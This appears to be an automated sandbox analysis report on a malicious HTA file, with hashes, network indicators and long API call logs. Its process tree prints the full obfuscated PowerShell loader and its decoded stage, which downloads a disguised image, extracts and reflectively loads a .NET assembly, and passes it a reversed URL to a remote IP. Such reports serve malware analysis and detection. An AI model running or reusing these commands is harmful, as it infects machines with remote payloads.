popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

blalalalalalalala.hta

Generic Malware Antivirus Hide_URL AntiDebug AntiVM PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Oct. 12, 2023, 10:02 a.m. Oct. 12, 2023, 10:04 a.m.
Size 76.3KB
Type HTML document, Little-endian UTF-16 Unicode text, with very long lines, with CRLF line terminators
MD5 b4acf9fdc9a290176583bbab576c4c20
SHA256 1e3e163f9796bf7a5bfd120a3fa29cd1ca5487f740e2b669bfb766d74096bcd3
CRC32 462BDE63
ssdeep 768:/vCCaWr5OIplnnIEIiuhLfbWkUjMnkQPnkQInkQKnkQenkQynkQxnkQVnkQnnkQv:/RVlnnj3tPnErAQ
Yara None matched

  • iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\blalalalalalalala.hta.html

    2608

    • iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2608 CREDAT:145409

      2696

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J€€Bp€€G0€€YQBn€€GU€€VQBy€€Gw€€I€€€€9€€C€€€€JwBo€€HQ€€d€€Bw€€HM€€Og€€v€€C8€€dQBw€€Gw€€bwBh€€GQ€€Z€€Bl€€Gk€€bQBh€€Gc€€ZQBu€€HM€€LgBj€€G8€€bQ€€u€€GI€€cg€€v€€Gk€€bQBh€€Gc€€ZQBz€€C8€€M€€€€w€€DQ€€Lw€€1€€Dg€€Mw€€v€€DQ€€MQ€€0€€C8€€bwBy€€Gk€€ZwBp€€G4€€YQBs€€C8€€a€€B0€€GE€€XwBu€€G8€€cwB0€€GE€€cgB0€€HU€€c€€€€u€€Go€€c€€Bn€€D8€€MQ€€2€€Dk€€Mg€€2€€DU€€O€€€€2€€DQ€€NQ€€n€€Ds€€J€€B3€€GU€€YgBD€€Gw€€aQBl€€G4€€d€€€€g€€D0€€I€€BO€€GU€€dw€€t€€E8€€YgBq€€GU€€YwB0€€C€€€€UwB5€€HM€€d€€Bl€€G0€€LgBO€€GU€€d€€€€u€€Fc€€ZQBi€€EM€€b€€Bp€€GU€€bgB0€€Ds€€J€€Bp€€G0€€YQBn€€GU€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€CQ€€dwBl€€GI€€QwBs€€Gk€€ZQBu€€HQ€€LgBE€€G8€€dwBu€€Gw€€bwBh€€GQ€€R€€Bh€€HQ€€YQ€€o€€CQ€€aQBt€€GE€€ZwBl€€FU€€cgBs€€Ck€€Ow€€k€€Gk€€bQBh€€Gc€€ZQBU€€GU€€e€€B0€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBU€€GU€€e€€B0€€C4€€RQBu€€GM€€bwBk€€Gk€€bgBn€€F0€€Og€€6€€FU€€V€€BG€€Dg€€LgBH€€GU€€d€€BT€€HQ€€cgBp€€G4€€Zw€€o€€CQ€€aQBt€€GE€€ZwBl€€EI€€eQB0€€GU€€cw€€p€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€FM€€V€€BB€€FI€€V€€€€+€€D4€€Jw€€7€€CQ€€ZQBu€€GQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€EU€€TgBE€€D4€€Pg€€n€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBJ€€G4€€Z€€Bl€€Hg€€TwBm€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€p€€Ds€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€Ek€€bgBk€€GU€€e€€BP€€GY€€K€€€€k€€GU€€bgBk€€EY€€b€€Bh€€Gc€€KQ€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwBl€€C€€€€M€€€€g€€C0€€YQBu€€GQ€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwB0€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€Kw€€9€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€u€€Ew€€ZQBu€€Gc€€d€€Bo€€Ds€€J€€Bi€€GE€€cwBl€€DY€€N€€BM€€GU€€bgBn€€HQ€€a€€€€g€€D0€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€I€€€€k€€HM€€d€€Bh€€HI€€d€€BJ€€G4€€Z€€Bl€€Hg€€Ow€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€FM€€dQBi€€HM€€d€€By€€Gk€€bgBn€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Cw€€I€€€€k€€GI€€YQBz€€GU€€Ng€€0€€Ew€€ZQBu€€Gc€€d€€Bo€€Ck€€Ow€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBD€€G8€€bgB2€€GU€€cgB0€€F0€€Og€€6€€EY€€cgBv€€G0€€QgBh€€HM€€ZQ€€2€€DQ€€UwB0€€HI€€aQBu€€Gc€€K€€€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€KQ€€7€€CQ€€b€€Bv€€GE€€Z€€Bl€€GQ€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBS€€GU€€ZgBs€€GU€€YwB0€€Gk€€bwBu€€C4€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€F0€€Og€€6€€Ew€€bwBh€€GQ€€K€€€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€Ck€€Ow€€k€€HQ€€eQBw€€GU€€I€€€€9€€C€€€€J€€Bs€€G8€€YQBk€€GU€€Z€€BB€€HM€€cwBl€€G0€€YgBs€€Hk€€LgBH€€GU€€d€€BU€€Hk€€c€€Bl€€Cg€€JwBG€€Gk€€YgBl€€HI€€LgBI€€G8€€bQBl€€Cc€€KQ€€7€€CQ€€bQBl€€HQ€€a€€Bv€€GQ€€I€€€€9€€C€€€€J€€B0€€Hk€€c€€Bl€€C4€€RwBl€€HQ€€TQBl€€HQ€€a€€Bv€€GQ€€K€€€€n€€FY€€QQBJ€€Cc€€KQ€€7€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€I€€€€9€€C€€€€L€€€€o€€Cc€€d€€B4€€HQ€€LgBl€€G4€€bwBs€€GE€€ZQBy€€GU€€bgBv€€Gw€€YQBl€€HI€€Lw€€w€€Dc€€MQ€€u€€DQ€€Nw€€u€€DU€€Mg€€y€€C4€€NQ€€4€€DE€€Lw€€v€€Do€€c€€B0€€HQ€€a€€€€n€€Ck€€Ow€€k€€G0€€ZQB0€€Gg€€bwBk€€C4€€SQBu€€HY€€bwBr€€GU€€K€€€€k€€G4€€dQBs€€Gw€€L€€€€g€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€KQ€€=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('€€','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD

        2924

        • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/583/414/original/hta_nostartup.jpg?1692658645';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.enolaerenolaer/071.47.522.581//:ptth');$method.Invoke($null, $arguments)"

          1264

Name Response Post-Analysis Lookup
apps.identrust.com
CNAME a1952.dscq.akamai.net
A 23.209.95.50
CNAME identrust.edgesuite.net
A 23.209.95.51
23.67.53.27
uploaddeimagens.com.br
A 104.21.45.138
A 172.67.215.45
104.21.45.138
IP Address Status Action
164.124.101.2 Active Moloch
172.67.215.45 Active Moloch
23.209.95.51 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49176 -> 172.67.215.45:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49176
172.67.215.45:443 		C=US, O=Let's Encrypt, CN=E1 CN=uploaddeimagens.com.br 67:68:c4:e4:aa:54:e1:fd:f0:50:01:73:1e:da:cf:48:0c:17:0d:34

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: False
console_handle: 0x000000000000039f
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000470c10
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b42cdb0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b42cdb0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b42cdb0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b42cb10
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b42cb10
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b42cdb0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b42cdb0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b42cdb0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b42cdb0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b42d0c0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b42d0c0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b42d0c0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b411350
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b411350
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b411350
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b4110b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b4110b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b4110b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b4110b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b4110b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b4110b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b4110b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b4110b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b411cf0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b411cf0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b411cf0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b411970
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b411970
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b42d3d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b42d3d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b42cf70
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b42cf70
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b42cf70
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b411970
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b411970
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b411970
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b411970
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b45ad20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b45ad20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000023fa70
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b70e950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b70e950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b70e950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b70e410
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b70e410
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b70e950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b70e950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b70e950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b70e950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2608
region_size: 12521472
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000003070000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2608
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000003c60000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769cd000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769d4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefbca5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefbca5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefefc4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdcd1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769ba000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2608
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000003530000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000000007304c000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000003c60000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769cd000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769d4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefbca5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefefc4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdcd1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769ba000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
